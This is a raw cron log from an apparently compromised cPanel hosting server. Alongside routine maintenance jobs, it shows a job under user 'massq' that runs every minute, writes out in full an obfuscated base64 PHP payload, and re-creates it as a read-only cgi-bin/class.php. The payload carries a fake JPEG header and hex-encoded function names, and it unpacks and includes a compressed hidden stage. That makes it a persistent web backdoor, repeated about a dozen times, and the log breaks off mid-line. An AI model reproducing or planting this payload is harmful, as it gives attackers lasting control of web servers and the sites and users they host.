Sep  7 22:30:01 server CROND[9659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:30:01 server CROND[9662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:30:01 server CROND[9667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:30:01 server CROND[9665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:30:01 server CROND[9661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:30:01 server CROND[9663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:30:01 server CROND[9664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:30:01 server CROND[9670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:31:01 server CROND[10533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:31:01 server CROND[10534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:31:01 server CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:32:01 server CROND[10911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:32:01 server CROND[10912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:32:01 server CROND[10913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:33:01 server CROND[11303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:33:01 server CROND[11304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:33:01 server CROND[11305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:34:01 server CROND[11789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:34:01 server CROND[11790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:34:01 server CROND[11791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:35:01 server CROND[12191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:35:01 server CROND[12192]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 22:35:01 server CROND[12198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:35:01 server CROND[12199]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:35:01 server CROND[12208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:35:01 server CROND[12205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:35:01 server CROND[12206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:35:01 server CROND[12207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:35:01 server CROND[12211]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:36:01 server CROND[13066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:36:01 server CROND[13067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:36:01 server CROND[13068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:37:01 server CROND[13446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:37:01 server CROND[13447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:37:01 server CROND[13449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:38:01 server CROND[13831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:38:01 server CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:38:01 server CROND[13833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:39:01 server CROND[14233]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 22:39:01 server CROND[14234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:39:01 server CROND[14236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:39:01 server CROND[14235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:40:01 server CROND[14727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:40:01 server CROND[14728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:40:01 server CROND[14730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:40:01 server CROND[14732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:40:01 server CROND[14734]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:40:01 server CROND[14733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:40:01 server CROND[14736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:40:01 server CROND[14731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:41:01 server CROND[15550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 